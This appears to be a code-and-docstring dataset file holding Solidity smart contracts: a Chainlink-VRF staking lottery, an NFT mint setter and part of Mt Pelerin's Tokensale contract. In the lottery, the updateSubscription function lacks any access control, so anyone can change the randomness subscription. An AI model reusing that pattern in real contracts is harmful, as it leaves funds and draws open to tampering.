)
);
}
function log(
address p0,
bool p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
bool p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,bool,address,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
uint256 p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,uint,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
uint256 p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,uint,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
uint256 p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,uint,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
uint256 p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,uint,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
string memory p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,string,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
string memory p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,string,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
string memory p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,string,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
string memory p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,string,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
bool p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,bool,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
bool p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,bool,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
bool p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,bool,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
bool p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,bool,address)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
address p2,
uint256 p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,address,uint)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
address p2,
string memory p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,address,string)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
address p2,
bool p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,address,bool)",
p0,
p1,
p2,
p3
)
);
}
function log(
address p0,
address p1,
address p2,
address p3
) internal view {
_sendLogPayload(
abi.encodeWithSignature(
"log(address,address,address,address)",
p0,
p1,
p2,
p3
)
);
}
}
contract Lottery is Ownable, VRFConsumerBaseV2, IERC721Receiver, Multisig {
using SortitionSumTreeFactory for SortitionSumTreeFactory.SortitionSumTrees;
using SafeMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
mapping(address => bool) internal _whitelistedServices;
IERC721 public nft721;
uint256 public nftId;
IERC20 public customToken;
IERC20 public ruffle;
address payable[] public selectedWinners;
address[] public lastWinners;
uint256[] public winningNumbers;
uint256 public jackpot;
uint256 public lastJackpot;
uint256 public totalEthPaid;
uint256 public totalWinnersPaid;
uint256[] public percentageOfJackpot = [75, 18, 7];
mapping(address => uint256) public amountWonByUser;
enum Status {
NotStarted,
Started,
WinnersSelected,
WinnerPaid
}
Status public status;
enum LotteryType {
NotStarted,
Ethereum,
Token,
NFT721
}
LotteryType public lotteryType;
//Staking
uint256 public totalStaked;
mapping(address => uint256) public balanceOf;
bool public stakingEnabled;
//Variables used for the sortitionsumtrees
bytes32 private constant TREE_KEY = keccak256("Lotto");
uint256 private constant MAX_TREE_LEAVES = 5;
// Ticket-weighted odds
SortitionSumTreeFactory.SortitionSumTrees internal sortitionSumTrees;
// Chainlink
VRFCoordinatorV2Interface COORDINATOR;
LinkTokenInterface LINKTOKEN;
uint64 s_subscriptionId;
// Mainnet coordinator. 0x271682DEB8C4E0901D1a1550aD2e64D568E69909
// see https://docs.chain.link/docs/vrf-contracts/#configurations
address constant vrfCoordinator =
0x271682DEB8C4E0901D1a1550aD2e64D568E69909;
// Mainnet LINK token contract. 0x514910771af9ca656af840dff83e8264ecf986ca
// see https://docs.chain.link/docs/vrf-contracts/#configurations
address constant link = 0x514910771AF9Ca656af840dff83E8264EcF986CA;
// 200 gwei Key Hash lane for chainlink mainnet
// see https://docs.chain.link/docs/vrf-contracts/#configurations
bytes32 constant keyHash =
0x8af398995b04c28e9951adb9721ef74c74f93e6a478f39e7e0777be13527e7ef;
uint32 constant callbackGasLimit = 500000;
uint16 constant requestConfirmations = 3;
// Cannot exceed VRFCoordinatorV2.MAX_NUM_WORDS.
uint32 numWords = 3;
uint256[] public s_randomWords;
uint256 public s_requestId;
address s_owner;
event AddWhitelistedService(address newWhitelistedAddress);
event RemoveWhitelistedService(address removedWhitelistedAddress);
event SetCustomToken(IERC20 tokenAddress);
event SetRuffleInuToken(IERC20 ruffleInuTokenAddress);
event Staked(address indexed account, uint256 amount);
event Unstaked(address indexed account, uint256 amount);
event SetERC721(IERC721 nft);
event SetPercentageOfJackpot(
uint256[] newJackpotPercentages,
uint256 newNumWords
);
event UpdateSubscription(
uint256 oldSubscriptionId,
uint256 newSubscriptionId
);
event EthLotteryStarted(uint256 jackpot, uint256 numberOfWinners);
event TokenLotteryStarted(uint256 jackpot, uint256 numberOfWinners);
event NFTLotteryStarted(uint256 nftId);
event PayWinnersEth(address[] winners);
event PayWinnersTokens(address[] winners);
event PayWinnerNFT(address[] winners);
event SetStakingEnabled(bool stakingEnabled);
constructor(uint64 subscriptionId, address payable _gelatoOp)
VRFConsumerBaseV2(vrfCoordinator)
{
COORDINATOR = VRFCoordinatorV2Interface(vrfCoordinator);
LINKTOKEN = LinkTokenInterface(link);
sortitionSumTrees.createTree(TREE_KEY, MAX_TREE_LEAVES);
s_owner = msg.sender;
s_subscriptionId = subscriptionId;
addWhitelistedService(_gelatoOp);
addWhitelistedService(msg.sender);
}
modifier onlyWhitelistedServices() {
require(
_whitelistedServices[msg.sender] == true,
"onlyWhitelistedServices can perform this action"
);
_;
}
modifier lotteryNotStarted() {
require(
status == Status.NotStarted || status == Status.WinnerPaid,
"lottery has already started"
);
require(
lotteryType == LotteryType.NotStarted,
"the previous winner has to be paid before starting a new lottery"
);
_;
}
modifier winnerPayable() {
require(
status == Status.WinnersSelected,
"the winner is not yet selected"
);
_;
}
//Receive function
receive() external payable {}
/// @notice Add new service that can call payWinnersEth and startEthLottery.
/// @param _service New service to add
function addWhitelistedService(address _service) public onlyOwner {
require(
_whitelistedServices[_service] != true,
"TaskTreasury: addWhitelistedService: whitelisted"
);
_whitelistedServices[_service] = true;
emit AddWhitelistedService(_service);
}
/// @notice Remove old service that can call startEthLottery and payWinnersEth
/// @param _service Old service to remove
function removeWhitelistedService(address _service) external onlyOwner {
require(
_whitelistedServices[_service] == true,
"addWhitelistedService: !whitelisted"
);
_whitelistedServices[_service] = false;
emit RemoveWhitelistedService(_service);
}
/// @notice a function to cancel the current lottery in case the chainlink vrf fails
/// @dev only call this when the chainlink vrf fails
function cancelLottery() external onlyOwner {
require(
status == Status.Started || status == Status.WinnersSelected,
"you can only cancel a lottery if one has been started or if something goes wrong after selection"
);
jackpot = 0;
setStakingEnabled(true);
status = Status.WinnerPaid;
lotteryType = LotteryType.NotStarted;
delete selectedWinners;
}
/// @notice draw the winning addresses from the Sum Tree
function draw() external onlyOwner {
require(status == Status.Started, "lottery has not yen been started");
for (uint256 i = 0; i < s_randomWords.length; i++) {
uint256 winningNumber = s_randomWords[i] % totalStaked;
selectedWinners.push(
payable(
address(
uint160(
uint256(
sortitionSumTrees.draw(TREE_KEY, winningNumber)
)
)
)
)
);
winningNumbers.push(winningNumber);
}
status = Status.WinnersSelected;
}
/// @notice function needed to receive erc721 tokens in the contract
function onERC721Received(
address,
address,
uint256,
bytes calldata
) external pure override returns (bytes4) {
return
bytes4(
keccak256("onERC721Received(address,address,uint256,bytes)")
);
}
/// @notice pay the winners of the lottery
function payWinnersTokens() external onlyOwner winnerPayable {
require(
lotteryType == LotteryType.Token,
"the lottery that has been drawn is not a custom lottery"
);
delete lastWinners;
for (uint256 i = 0; i < selectedWinners.length; i++) {
uint256 _amountWon = jackpot.mul(percentageOfJackpot[i]).div(100);
customToken.safeTransfer(selectedWinners[i], _amountWon);
lastWinners.push(selectedWinners[i]);
amountWonByUser[selectedWinners[i]] += _amountWon;
}
lastJackpot = jackpot;
totalWinnersPaid += selectedWinners.length;
delete selectedWinners;
jackpot = 0;
setStakingEnabled(true);
status = Status.WinnerPaid;
lotteryType = LotteryType.NotStarted;
emit PayWinnersTokens(lastWinners);
}
/// @notice pay the winners of the lottery
function payWinnersEth() external onlyWhitelistedServices winnerPayable {
require(
lotteryType == LotteryType.Ethereum,
"the lottery that has been drawn is not an eth lottery"
);
delete lastWinners;
for (uint256 i = 0; i < selectedWinners.length; i++) {
uint256 _amountWon = jackpot.mul(percentageOfJackpot[i]).div(100);
selectedWinners[i].transfer(_amountWon);
lastWinners.push(selectedWinners[i]);
amountWonByUser[selectedWinners[i]] += _amountWon;
}
lastJackpot = jackpot;
totalEthPaid += jackpot;
totalWinnersPaid += selectedWinners.length;
delete selectedWinners;
jackpot = 0;
setStakingEnabled(true);
status = Status.WinnerPaid;
lotteryType = LotteryType.NotStarted;
emit PayWinnersEth(lastWinners);
}
/// @notice pay the winners of the lottery
function payWinnersERC721() external onlyOwner winnerPayable {
require(
lotteryType == LotteryType.NFT721,
"the lottery that has been drawn is not a ERC721 lottery"
);
delete lastWinners;
nft721.safeTransferFrom(address(this), selectedWinners[0], nftId);
lastWinners.push(selectedWinners[0]);
totalWinnersPaid += 1;
delete selectedWinners;
setStakingEnabled(true);
status = Status.WinnerPaid;
lotteryType = LotteryType.NotStarted;
emit PayWinnerNFT(lastWinners);
}
/// @notice a function to add a custom token for a custom token lottery
/// @param customTokenAddress the address of the custom token that we want to add to the contract
function setCustomToken(IERC20 customTokenAddress) external onlyOwner {
customToken = IERC20(customTokenAddress);
emit SetCustomToken(customTokenAddress);
}
/// @notice a function to set the address of the ruffle token
/// @param ruffleAddress is the address of the ruffle token
function setRuffleInuToken(IERC20 ruffleAddress) external onlyOwner {
ruffle = IERC20(ruffleAddress);
emit SetRuffleInuToken(ruffleAddress);
}
/// @notice add erc721 token to the contract for the next lottery
function setERC721(IERC721 _nft) external onlyOwner {
nft721 = IERC721(_nft);
emit SetERC721(_nft);
}
/// @notice a function to set the jackpot distribution
/// @param percentages an array of the percentage distribution
function setPercentageOfJackpot(uint256[] memory percentages)
external
onlyOwner
{
require(
status == Status.NotStarted || status == Status.WinnerPaid,
"you can only change the jackpot percentages if the lottery is not running"
);
delete percentageOfJackpot;
uint256 _totalSum = 0;
for (uint256 i; i < percentages.length; i++) {
percentageOfJackpot.push(percentages[i]);
_totalSum = _totalSum.add(percentages[i]);
}
require(_totalSum == 100, "the sum of the percentages has to be 100");
numWords = uint32(percentages.length);
emit SetPercentageOfJackpot(percentages, numWords);
}
/// @notice Stakes tokens. NOTE: Staking and unstaking not possible during lottery draw
/// @param amount Amount to stake and lock
function stake(uint256 amount) external {
require(stakingEnabled, "staking is not open");
if (balanceOf[msg.sender] == 0) {
sortitionSumTrees.set(
TREE_KEY,
amount,
bytes32(uint256(uint160(address(msg.sender))))
);
} else {
uint256 _newValue = balanceOf[msg.sender].add(amount);
sortitionSumTrees.set(
TREE_KEY,
_newValue,
bytes32(uint256(uint160(address(msg.sender))))
);
}
ruffle.safeTransferFrom(msg.sender, address(this), amount);
balanceOf[msg.sender] = balanceOf[msg.sender].add(amount);
totalStaked = totalStaked.add(amount);
emit Staked(msg.sender, amount);
}
/// @notice Start a new lottery
/// @param _amount in tokens to add to this lottery
function startTokenLottery(uint256 _amount)
external
onlyOwner
lotteryNotStarted
{
require(
_amount <= customToken.balanceOf(address(this)),
"The jackpot has to be less than or equal to the tokens in the contract"
);
delete winningNumbers;
delete s_randomWords;
setStakingEnabled(false);
requestRandomWords();
jackpot = _amount;
status = Status.Started;
lotteryType = LotteryType.Token;
emit TokenLotteryStarted(jackpot, numWords);
}
/// @notice Start a new lottery
/// @param _amount The amount in eth to add to this lottery
function startEthLottery(uint256 _amount)
external
onlyWhitelistedServices
lotteryNotStarted
{
require(
_amount <= address(this).balance,
"You can maximum add all the eth in the contract balance"
);
delete winningNumbers;
delete s_randomWords;
setStakingEnabled(false);
requestRandomWords();
jackpot = _amount;
status = Status.Started;
lotteryType = LotteryType.Ethereum;
emit EthLotteryStarted(jackpot, numWords);
}
/// @notice Start a new nft lottery
/// @param _tokenId the id of the nft you want to give away in the lottery
/// @dev set the jackpot to 1 winner [100] before calling this function
function startERC721Lottery(uint256 _tokenId)
external
onlyOwner
lotteryNotStarted
{
require(nft721.ownerOf(_tokenId) == address(this));
require(
percentageOfJackpot.length == 1,
"jackpot has to be set to 1 winner first, percentageOfJackpot = [100]"
);
delete winningNumbers;
delete s_randomWords;
nftId = _tokenId;
setStakingEnabled(false);
requestRandomWords();
status = Status.Started;
lotteryType = LotteryType.NFT721;
emit NFTLotteryStarted(nftId);
}
/// @notice Withdraws staked tokens
/// @param _amount Amount to withdraw
function unstake(uint256 _amount) external {
require(stakingEnabled, "staking is not open");
require(
_amount <= balanceOf[msg.sender],
"you cannot unstake more than you have staked"
);
uint256 _newStakingBalance = balanceOf[msg.sender].sub(_amount);
sortitionSumTrees.set(
TREE_KEY,
_newStakingBalance,
bytes32(uint256(uint160(address(msg.sender))))
);
balanceOf[msg.sender] = _newStakingBalance;
totalStaked = totalStaked.sub(_amount);
ruffle.safeTransfer(msg.sender, _amount);
emit Unstaked(msg.sender, _amount);
}
/// @notice function to update the chainlink subscription
/// @param subscriptionId Amount to withdraw
function updateSubscription(uint64 subscriptionId) external {
uint256 _oldValue = s_subscriptionId;
s_subscriptionId = subscriptionId;
emit UpdateSubscription(_oldValue, subscriptionId);
}
/// @notice Emergency withdraw only call when problems or after community vote
/// @dev Only in emergency cases. Protected by multisig APAD
function withdraw() external onlyMultisig {
payable(msg.sender).transfer(address(this).balance);
}
/// @notice The chance a user has of winning the lottery. Tokens staked by user / total tokens staked
/// @param account The account that we want to get the chance of winning for
/// @return chanceOfWinning The chance a user has to win
function chanceOf(address account)
external
view
returns (uint256 chanceOfWinning)
{
return
sortitionSumTrees.stakeOf(
TREE_KEY,
bytes32(uint256(uint160(address(account))))
);
}
/// @notice get the staked ruffle balance of an address
function getBalance(address staker)
external
view
returns (uint256 balance)
{
return balanceOf[staker];
}
/// @notice a function to set open/close staking
function setStakingEnabled(bool _stakingEnabled)
public
onlyWhitelistedServices
{
stakingEnabled = _stakingEnabled;
emit SetStakingEnabled(_stakingEnabled);
}
/// @notice Request random words from Chainlink VRF V2
function requestRandomWords() internal {
// Will revert if subscription is not set and funded.
s_requestId = COORDINATOR.requestRandomWords(
keyHash,
s_subscriptionId,
requestConfirmations,
callbackGasLimit,
numWords
);
}
/// @notice fulfill the randomwords from chainlink
function fulfillRandomWords(
uint256, /* requestId */
uint256[] memory randomWords
) internal override {
s_randomWords = randomWords;
if (s_randomWords.length <= 5) {
for (uint256 i = 0; i < s_randomWords.length; i++) {
uint256 winningNumber = s_randomWords[i] % totalStaked;
selectedWinners.push(
payable(
address(
uint160(
uint256(
sortitionSumTrees.draw(
TREE_KEY,
winningNumber
)
)
)
)
)
);
winningNumbers.push(winningNumber);
}
status = Status.WinnersSelected;
}
}
} | Add new service that can call payWinnersEth and startEthLottery. _service New service to add | function addWhitelistedService(address _service) public onlyOwner {
require(
_whitelistedServices[_service] != true,
"TaskTreasury: addWhitelistedService: whitelisted"
);
_whitelistedServices[_service] = true;
emit AddWhitelistedService(_service);
}
| 2,299,027 |
./full_match/1/0xef165820dEa2c24C2A61675d7B183b36255e10c8/sources/contracts/Awakened.sol | Set the maximum mints allowed per a given address in the public sale/ | function setPublicMintsAllowedPerAddress(
uint256 _mintsAllowed
) external onlyOwner {
publicMintsAllowedPerAddress = _mintsAllowed;
}
| 2,910,209 |
/**
* Tokensale.sol
* Mt Pelerin Share (MPS) token sale : public phase.
* More info about MPS : https://github.com/MtPelerin/MtPelerin-share-MPS
* The unflattened code is available through this github tag:
* https://github.com/MtPelerin/MtPelerin-protocol/tree/etherscan-verify-batch-2
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice All matters regarding the intellectual property of this code
* @notice or software are subject to Swiss Law without reference to its
* @notice conflicts of law rules.
* @notice License for each contract is available in the respective file
* @notice or in the LICENSE.md file.
* @notice https://github.com/MtPelerin/
* @notice Code by OpenZeppelin is copyrighted and licensed on their repository:
* @notice https://github.com/OpenZeppelin/openzeppelin-solidity
*/
pragma solidity ^0.4.24;
// File: contracts/interface/IUserRegistry.sol
/**
* @title IUserRegistry
* @dev IUserRegistry interface
* @author Cyril Lapinte - <[email protected]>
*
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice Please refer to the top of this file for the license.
**/
contract IUserRegistry {
function registerManyUsers(address[] _addresses, uint256 _validUntilTime)
public;
function attachManyAddresses(uint256[] _userIds, address[] _addresses)
public;
function detachManyAddresses(address[] _addresses)
public;
function userCount() public view returns (uint256);
function userId(address _address) public view returns (uint256);
function addressConfirmed(address _address) public view returns (bool);
function validUntilTime(uint256 _userId) public view returns (uint256);
function suspended(uint256 _userId) public view returns (bool);
function extended(uint256 _userId, uint256 _key)
public view returns (uint256);
function isAddressValid(address _address) public view returns (bool);
function isValid(uint256 _userId) public view returns (bool);
function registerUser(address _address, uint256 _validUntilTime) public;
function attachAddress(uint256 _userId, address _address) public;
function confirmSelf() public;
function detachAddress(address _address) public;
function detachSelf() public;
function detachSelfAddress(address _address) public;
function suspendUser(uint256 _userId) public;
function unsuspendUser(uint256 _userId) public;
function suspendManyUsers(uint256[] _userIds) public;
function unsuspendManyUsers(uint256[] _userIds) public;
function updateUser(uint256 _userId, uint256 _validUntil, bool _suspended)
public;
function updateManyUsers(
uint256[] _userIds,
uint256 _validUntil,
bool _suspended) public;
function updateUserExtended(uint256 _userId, uint256 _key, uint256 _value)
public;
function updateManyUsersExtended(
uint256[] _userIds,
uint256 _key,
uint256 _value) public;
}
// File: contracts/interface/IRatesProvider.sol
/**
* @title IRatesProvider
* @dev IRatesProvider interface
*
* @author Cyril Lapinte - <[email protected]>
*
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice Please refer to the top of this file for the license.
*/
contract IRatesProvider {
function rateWEIPerCHFCent() public view returns (uint256);
function convertWEIToCHFCent(uint256 _amountWEI)
public view returns (uint256);
function convertCHFCentToWEI(uint256 _amountCHFCent)
public view returns (uint256);
}
// File: contracts/zeppelin/token/ERC20/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: contracts/zeppelin/token/ERC20/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
// File: contracts/interface/ITokensale.sol
/**
* @title ITokensale
* @dev ITokensale interface
*
* @author Cyril Lapinte - <[email protected]>
*
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice Please refer to the top of this file for the license.
*/
contract ITokensale {
function () external payable;
uint256 constant MINIMAL_AUTO_WITHDRAW = 0.5 ether;
uint256 constant MINIMAL_BALANCE = 0.5 ether;
uint256 constant MINIMAL_INVESTMENT = 50; // tokens
uint256 constant BASE_PRICE_CHF_CENT = 500;
uint256 constant KYC_LEVEL_KEY = 1;
function minimalAutoWithdraw() public view returns (uint256);
function minimalBalance() public view returns (uint256);
function basePriceCHFCent() public view returns (uint256);
/* General sale details */
function token() public view returns (ERC20);
function vaultETH() public view returns (address);
function vaultERC20() public view returns (address);
function userRegistry() public view returns (IUserRegistry);
function ratesProvider() public view returns (IRatesProvider);
function sharePurchaseAgreementHash() public view returns (bytes32);
/* Sale status */
function startAt() public view returns (uint256);
function endAt() public view returns (uint256);
function raisedETH() public view returns (uint256);
function raisedCHF() public view returns (uint256);
function totalRaisedCHF() public view returns (uint256);
function totalUnspentETH() public view returns (uint256);
function totalRefundedETH() public view returns (uint256);
function availableSupply() public view returns (uint256);
/* Investor specific attributes */
function investorUnspentETH(uint256 _investorId)
public view returns (uint256);
function investorInvestedCHF(uint256 _investorId)
public view returns (uint256);
function investorAcceptedSPA(uint256 _investorId)
public view returns (bool);
function investorAllocations(uint256 _investorId)
public view returns (uint256);
function investorTokens(uint256 _investorId) public view returns (uint256);
function investorCount() public view returns (uint256);
function investorLimit(uint256 _investorId) public view returns (uint256);
/* Share Purchase Agreement */
function defineSPA(bytes32 _sharePurchaseAgreementHash)
public returns (bool);
function acceptSPA(bytes32 _sharePurchaseAgreementHash)
public payable returns (bool);
/* Investment */
function investETH() public payable;
function addOffChainInvestment(address _investor, uint256 _amountCHF)
public;
/* Schedule */
function updateSchedule(uint256 _startAt, uint256 _endAt) public;
/* Allocations admin */
function allocateTokens(address _investor, uint256 _amount)
public returns (bool);
function allocateManyTokens(address[] _investors, uint256[] _amounts)
public returns (bool);
/* ETH administration */
function fundETH() public payable;
function refundManyUnspentETH(address[] _receivers) public;
function refundUnspentETH(address _receiver) public;
function withdrawETHFunds() public;
event SalePurchaseAgreementHash(bytes32 sharePurchaseAgreement);
event Allocation(
uint256 investorId,
uint256 tokens
);
event Investment(
uint256 investorId,
uint256 spentCHF
);
event ChangeETHCHF(
address investor,
uint256 amount,
uint256 converted,
uint256 rate
);
event FundETH(uint256 amount);
event WithdrawETH(address receiver, uint256 amount);
}
// File: contracts/zeppelin/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
// File: contracts/zeppelin/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
// File: contracts/zeppelin/lifecycle/Pausable.sol
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
// File: contracts/Authority.sol
/**
* @title Authority
* @dev The Authority contract has an authority address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
* Authority means to represent a legal entity that is entitled to specific rights
*
* @author Cyril Lapinte - <[email protected]>
*
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice Please refer to the top of this file for the license.
*
* Error messages
* AU01: Message sender must be an authority
*/
contract Authority is Ownable {
address authority;
/**
* @dev Throws if called by any account other than the authority.
*/
modifier onlyAuthority {
require(msg.sender == authority, "AU01");
_;
}
/**
* @dev Returns the address associated to the authority
*/
function authorityAddress() public view returns (address) {
return authority;
}
/** Define an address as authority, with an arbitrary name included in the event
* @dev returns the authority of the
* @param _name the authority name
* @param _address the authority address.
*/
function defineAuthority(string _name, address _address) public onlyOwner {
emit AuthorityDefined(_name, _address);
authority = _address;
}
event AuthorityDefined(
string name,
address _address
);
}
// File: contracts/tokensale/Tokensale.sol
/**
* @title Tokensale
* @dev Tokensale contract
*
* @author Cyril Lapinte - <[email protected]>
*
* @notice Copyright © 2016 - 2018 Mt Pelerin Group SA - All Rights Reserved
* @notice Please refer to the top of this file for the license.
*
* Error messages
* TOS01: It must be before the sale is opened
* TOS02: Sale must be open
* TOS03: It must be before the sale is closed
* TOS04: It must be after the sale is closed
* TOS05: No data must be sent while sending ETH
* TOS06: Share Purchase Agreement Hashes must match
* TOS07: User/Investor must exist
* TOS08: SPA must be accepted before any ETH investment
* TOS09: Cannot update schedule once started
* TOS10: Investor must exist
* TOS11: Cannot allocate more tokens than available supply
* TOS12: Length of InvestorIds and amounts arguments must match
* TOS13: Investor must exist
* TOS14: Must refund ETH unspent
* TOS15: Must withdraw ETH to vaultETH
* TOS16: Cannot invest onchain and offchain at the same time
* TOS17: A ETHCHF rate must exist to invest
* TOS18: User must be valid
* TOS19: Cannot invest if no tokens are available
* TOS20: Investment is below the minimal investment
* TOS21: Cannot unspend more CHF than BASE_TOKEN_PRICE_CHF
* TOS22: Token transfer must be successful
*/
contract Tokensale is ITokensale, Authority, Pausable {
using SafeMath for uint256;
uint32[5] contributionLimits = [
5000,
500000,
1500000,
10000000,
25000000
];
/* General sale details */
ERC20 public token;
address public vaultETH;
address public vaultERC20;
IUserRegistry public userRegistry;
IRatesProvider public ratesProvider;
uint256 public minimalBalance = MINIMAL_BALANCE;
bytes32 public sharePurchaseAgreementHash;
uint256 public startAt = 4102441200;
uint256 public endAt = 4102441200;
uint256 public raisedETH;
uint256 public raisedCHF;
uint256 public totalRaisedCHF;
uint256 public totalUnspentETH;
uint256 public totalRefundedETH;
uint256 public allocatedTokens;
struct Investor {
uint256 unspentETH;
uint256 investedCHF;
bool acceptedSPA;
uint256 allocations;
uint256 tokens;
}
mapping(uint256 => Investor) investors;
mapping(uint256 => uint256) investorLimits;
uint256 public investorCount;
/**
* @dev Throws unless before sale opening
*/
modifier beforeSaleIsOpened {
require(currentTime() < startAt, "TOS01");
_;
}
/**
* @dev Throws if sale is not open
*/
modifier saleIsOpened {
require(currentTime() >= startAt && currentTime() <= endAt, "TOS02");
_;
}
/**
* @dev Throws once the sale is closed
*/
modifier beforeSaleIsClosed {
require(currentTime() <= endAt, "TOS03");
_;
}
/**
* @dev constructor
*/
constructor(
ERC20 _token,
IUserRegistry _userRegistry,
IRatesProvider _ratesProvider,
address _vaultERC20,
address _vaultETH
) public
{
token = _token;
userRegistry = _userRegistry;
ratesProvider = _ratesProvider;
vaultERC20 = _vaultERC20;
vaultETH = _vaultETH;
}
/**
* @dev fallback function
*/
function () external payable {
require(msg.data.length == 0, "TOS05");
investETH();
}
/**
* @dev returns the token sold
*/
function token() public view returns (ERC20) {
return token;
}
/**
* @dev returns the vault use to
*/
function vaultETH() public view returns (address) {
return vaultETH;
}
/**
* @dev returns the vault to receive ETH
*/
function vaultERC20() public view returns (address) {
return vaultERC20;
}
function userRegistry() public view returns (IUserRegistry) {
return userRegistry;
}
